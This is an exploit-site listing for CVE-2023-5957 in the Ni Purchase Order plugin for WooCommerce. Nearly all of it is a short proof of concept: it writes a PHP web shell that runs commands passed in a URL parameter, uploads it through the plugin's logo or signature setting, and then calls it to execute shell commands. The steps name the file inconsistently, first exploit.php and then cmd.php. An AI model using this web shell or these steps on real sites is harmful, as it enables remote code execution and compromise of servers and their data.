Exploit for Ni Purchase Order(PO) For WooCommerce <= 1.2.1 - Admin+ File Upload to Remote Code Execution CVE-2023-5957

Name: Exploit for Ni Purchase Order(PO) For WooCommerce <= 1.2.1 - Admin+ File Upload to Remote Code Execution CVE-2023-5957
Rating: 5 (127 reviews)

2023-12-12 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:70F823FF-64AD-4F05-9EB3-B69B3B79DC12
1. Create a malicious file `exploit.php` with the contents `<?php echo system($_GET['cmd']); ?>` 
2. Visit https://example.com/wordpress/wp-admin/admin.php?page=niwoopo-setting
3. Select the `cmd.php` file in the Logo or Signature section and save the settings. The file will be accessible at https://example.com/wordpress/wp-content/uploads/ni-purchase-order/cmd.php?cmd=ls and it will show a directory listing